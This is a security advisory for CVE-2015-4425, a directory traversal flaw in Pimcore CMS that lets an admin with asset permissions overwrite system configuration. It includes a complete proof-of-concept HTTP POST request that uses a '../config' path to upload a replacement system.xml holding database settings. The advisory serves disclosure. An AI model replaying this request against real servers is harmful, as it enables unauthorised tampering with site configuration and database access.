Vulnerability title: Directory Traversal/Configuration Update In Pimcore CMS
CVE: CVE-2015-4425
Vendor: Pimcore
Product: Pimcore CMS
Affected version: Build 3450
Fixed version: Build 3473
Reported by: Josh Foote
Details:

It is possible for an administrative user with the 'assets' permission to overwrite system configuration files via exploiting a directory traversal vulnerability.

The following request can be used to update the ‘system.xml’ file of the web application:

POST /admin/asset/add-asset-compatibility/?parentId=1&dir=../config HTTP/1.1
Host: pimcore.com
Connection: keep-alive
Content-Length: 1502
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://www.host.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36
Content-Type: multipart/form-data; boundary=--------2072505619
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.8,en;q=0.6
Cookie: PHPSESSID=nnmupv1knofcpdgjdnivdr4v27; cookie-warn=true; _ga=GA1.2.1941920115.1426505099; pimcore_admin_sid=j79b6ad4afkjimslbj8l5ifuo4

----------2072505619
Content-Disposition: form-data; name="Filedata"; filename="system.xml" 
Content-Type: application/xml

<?xml version="1.0"?>
<zend-config xmlns:zf="http://framework.zend.com/xml/zend-config-xml/1.0/">
  <general>
    <timezone>Europe/Berlin</timezone>
    <language>en</language>
    <validLanguages>en</validLanguages>
    <debug>1</debug>
    <debugloglevel>debug</debugloglevel>
    <custom_php_logfile>1</custom_php_logfile>
  </general>
  <database>
    <adapter>Mysqli</adapter>
    <params>
      <username>root</username>
      <password>PASSWORD</password>
      <dbname>pimcore</dbname>
      <host>localhost</host>
      <port>3306</port>
    </params>
  </database>
  <documents>
    <versions>
      <steps>10</steps>
    </versions>
    <default_controller>default</default_controller>
    <default_action>default</default_action>
    <error_pages>
      <default>/</default>
    </error_pages>
    <createredirectwhenmoved/>
    <allowtrailingslash>no</allowtrailingslash>
    <allowcapitals>no</allowcapitals>
    <generatepreview>1</generatepreview>
  </documents>
  <objects>
    <versions>
      <steps>10</steps>
    </versions>
  </objects>
  <assets>
    <versions>
      <steps>10</steps>
    </versions>
  </assets>
  <services/>
  <cache>
    <excludeCookie/>
  </cache>
  <httpclient>
    <adapter>Zend_Http_Client_Adapter_Socket</adapter>
  </httpclient>
</zend-config>



Further details at:

https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2015-4425/

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